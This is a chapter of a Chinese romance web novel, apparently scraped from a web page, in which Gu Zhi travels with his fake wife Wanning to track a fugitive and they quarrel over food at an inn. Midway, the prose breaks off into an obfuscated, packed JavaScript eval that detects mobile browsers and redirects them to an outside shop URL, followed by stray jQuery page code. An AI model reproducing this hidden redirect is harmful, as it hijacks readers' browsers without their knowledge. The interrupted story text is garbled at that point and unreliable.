周清早已按照顾止的吩咐,带了两队人在城门口等他,等他带着婉凝到时,便立即顺着并州方向一路追去。
一队人走官道,一队人走小道。
他们沿路找人打听,确有人见过那名逃犯,可等他们追过去时,此人又离开了。
眼看天色彻底暗沉下去,再追下去也是徒劳,顾止下令在小镇上的客栈暂歇一晚,第二日再继续追踪。
婉凝下马的时候腿都是抖得,要不是顾止扶了她一把,她险些都要跌倒在地上。
顾止看着她煞白的小脸,有些疑惑,“你从前未曾骑过马?”
婉凝此时还有些惊魂未定,她忙不迭点头,很快又摇了摇头。
“你这到底是骑没骑过?”
顾家和祝家虽然走得很近,但他离家的时候才十六岁,那时候婉凝才是六七岁的年纪,后来虽然也有碰面,但到底不是很熟,他对她自然也谈不上了解。
所以也是成亲后,他才发现,这个姑娘好像不太聪明。
“没有。”婉凝解释道,“我怕你理解不了我的意思。”
顾止:“……”
他们这一队加上婉凝总共六人,便只叫小二上了一桌菜,围在一起便吃了。
婉凝一开始还有些拘束,毕竟除了爹爹和大哥,她也就跟顾歧一个外男同桌用过饭,跟顾止这都是头一次。
不过后来见桌上的菜肴消失的速度有些快,她也顿时顾不上这些了,忙伸筷子去夹了一堆放碗里。
可才尝了一口,她就没忍住吐了出来。
“好难吃。”
其余众人的眼光顿时齐刷刷落在婉凝身上。
她将碗筷往桌上一推,小脸皱在一块儿,有点不太高兴,“那么难吃怎么吃的下啊?”
她被顾止强行带了出来,在马上心惊胆战了那么久,到这个点了才吃上饭,结果还如此的难吃,婉凝气的都想哭了。
顾止的脸色沉了下去。
一个叫丁平的校尉抢在他前面开口,“夫人,你可知,你嫌难吃的,浪费的这些东西,是多少人梦寐以求,甚至活了一辈子,都没能吃上的东西。”
丁平的语气很差,婉凝性子是迷糊迟钝了些,但她也是有脾气的。
她今天莫名其妙的就被卷进了这事来,又是被迫骑马,又是沿路被蚊虫咬的,还连着被凶了两次,最重要的是吃都吃不好。
她什么时候受过这种委屈?当即便红着眼道:“本来就很难吃啊。”
说完,她也不再看他们,转身便跑上了楼,扑在床上将头埋进被子里哭了起来。
真的讨厌死了。
她收回今日跟白喜蕊说的成亲还不错的话。
成亲一点都不好。
小叔也一点都不好。
婉凝离开后,丁平才反应过来自己的态度有些过激,他一脸愧疚的看着顾止,“大人,对不起,我不是故意的,我只是……”
他只是见不惯有人浪费粮食。
丁平自小家中就清贫,后来更是因为发洪水失去了家园,他带着相依为命的奶奶一路乞讨,可奶奶最后还是饿死了。
自那之后,他只要一看到有人糟蹋粮食,就忍不住在想,如果那个时候,奶奶有一碗这样的饭菜,也不会落得个那样的结局。
往常被他斥责过的人多了,今日他忘了这位浪费粮食的,是大人的夫人。
“先吃饭。”
顾止淡声道,没有去管婉凝,继续吃起了饭来。
可丁平还是有些过意不去,他站起身,“属下去给夫人道个歉吧。”
“不用,坐下吃饭。”
顾止叫住他。
丁平只好讪讪的坐下,他求助的看了一旁的周清,周清拍了拍他的肩,示意他不要多想。
婉凝在床上哭了好一会儿,越想越觉得委屈,她从床上坐起来抹了一把眼泪。
这日子她是一点都忍不了了。
她要回家。
他们要抓逃犯就让他们自个儿抓去,她才不要管他们,她现在就要回家。
思及此,婉凝朝门口跑去,结果她才拉开门,就见顾止站在门外,抬起手正做敲门的姿势。
看到她时,他的动作明显一愣。
婉凝愣了一瞬,刚想越过他走出去,就瞧见了他另一只手中的托盘。
上面放着一只烤鸡,一盘糕点和一碗银耳粥。
烤鸡还切成了小块小块的。
婉凝肚子本来就饿,闻到烤鸡那股焦香味,不争气的咽了咽口水。
顾止越过她走进屋,将托盘放在桌上,回头对她道:“来吃点东西吧。”
婉凝的气还没消,她很想直接硬气的告诉顾止,她现在就要回家,然后头也不回的走出房门,让他悔不今日。
可桌上的烤鸡对她的诱惑又实在太大。
算了,即便要回去,也不能饿着肚子是吧。
总得吃饱了才有力气回去。
想到这,婉凝表面不情不愿的挪动步子到桌前坐下,拿起筷子便夹起一块烤鸡往嘴里送。
香,真香。
吃到心满意足的东西,婉凝方才的怨气顿时消了大半,也觉得没那么委屈了。
“丁平从前过得苦,所以见不得别人浪费粮食,他并非有意冒犯你,但我觉得他说的没错。”
顾止面无表情的解释着,“我有事请你相助,所以将你带了出来,如果你吃不惯那些东西,你该同我说,我叫人重新为你准备,而不是夹了那么多菜放碗里后,又当着那么多人的面摔碗。”
“外面连年灾害,吃不上饭的人数不胜数,你看不上的,是别人求而不得的。”
婉凝从小含着金汤匙长大,吃穿用度都是极好的,这是她本身就拥有的,别人没资格说什么。
是他将她带了出来,她如果有不满也完全可以朝着他来,只要要求不太过分,他都会尽量满足,但其他人没有惯着她的义务。
婉凝听的懵懵懂懂的,之前在家中,她不爱吃的东西就不吃了,也没人说过她什么。
所以她不是很理解顾止和丁平为何会有那么大的反应。
她点点头,委屈巴巴地说,“知道了,既然你们不喜欢,那以后我不说出来就是了。”
顾止:“……”
他垂眼看着还在大快朵颐的姑娘,分外头疼。
这是说不说出来的事吗?
他的意思是,让她可以先尝,不合胃口也不至于浪费。
算了,顾止放弃与她沟通的打算。
她生活在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886274|212546||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
大晟最繁华的京城,住的地段也是极佳的,自然见不到什么民生疾苦,也理解不了。
“吃完早点休息,明早赶路。”
顾止生硬的丢下这话便离开了她的房间。
“哦。”
婉凝在他身后小声的应着。
原本她是准备回家的,但小叔都亲自给她送烤鸡来道歉了,她也不是什么小气的人,就不与他们一般计较了。
奔波了许久,填饱肚子后,婉凝才感觉到浑身疲乏,大腿内侧还有些火辣辣的疼。
小二给她送来热水后,她褪去衣裙,才看到腿上已经被磨得通红,感觉轻轻一戳都能破皮的样子。
婉凝吸了吸鼻子,骑马那么痛苦,幸好她之前没有尝试。
婉凝忍着痛踏进浴桶,沾了水,腿上的痛就越发激烈了。
她趴在浴桶边,想着等明日,一定要跟小叔说,让他给她准备一辆马车。
*
第二日,顾止早早就起来了,他担心婉凝睡过头,在下楼之前还特地去敲了下她的房门,提醒她收拾好赶紧下去。
可他们在下面等了许久,早膳都用完了,婉凝还没有下来。
“真是麻烦。”
顾止小声嘀咕了一句,亲自起身去楼上在次催促道,“那么多人等着你,快些。”
“夫君~”
他话音刚落,里面就传来一道娇娇软软的声音。
顾止听后浑身颤栗了一下,只觉鸡皮疙瘩掉了一地。
成婚当晚,他就与她说的很清楚了,他们只是假夫妻。
她就这般不情愿吗?
“你能不能帮我找个梳头的丫鬟来啊。”
看门外的影子还在,婉凝便提出了这个小小的请求。
顾止:“……”
真的,要不是因为只有她一个人见过这位逃犯的脸,他绝对不会带着这样的麻烦出门。
找个丫鬟来,再等她重新把头梳好,那都要到什么时辰了。
逃犯早就跑的没影了。
顾止一把推开门,想问问她这个时候这般讲究做什么。
可在看到婉凝时。
他生生将话憋了回去。
那个顶着一头鸡窝头的人,真的是祝婉凝?
婉凝手中拿着一把梳子,上面还缠绕着许多的发丝,此时正眼中含泪,可怜巴巴的望着他。
“平时都是碧玉给我梳的头,我不会。”
她已经在这里捣腾许久了,可还是越弄越糟糕。
他看出来了。
一开始他以为是她非要像在京中的那般讲究。
现在,他是信了,她真的不会。
这个世上,怎么会有那么娇气的姑娘?
顾止这样想着,挪动步子过去接过她手中的梳子,叫她转过身去,帮她梳理起了这一头乱糟糟的头发来。
“夫君,你还会梳头呢?”
有人帮自己处理这个大麻烦,婉凝原本颓丧的心情便瞬间消散了。
当即就笑了起来。
顾止也是头一次见到如此迅速的变脸。
她这脾气,还真是来的快,去的也快啊。
不过他却是先纠正了她一个问题,“我们只是假夫妻,以后别再这样唤我。”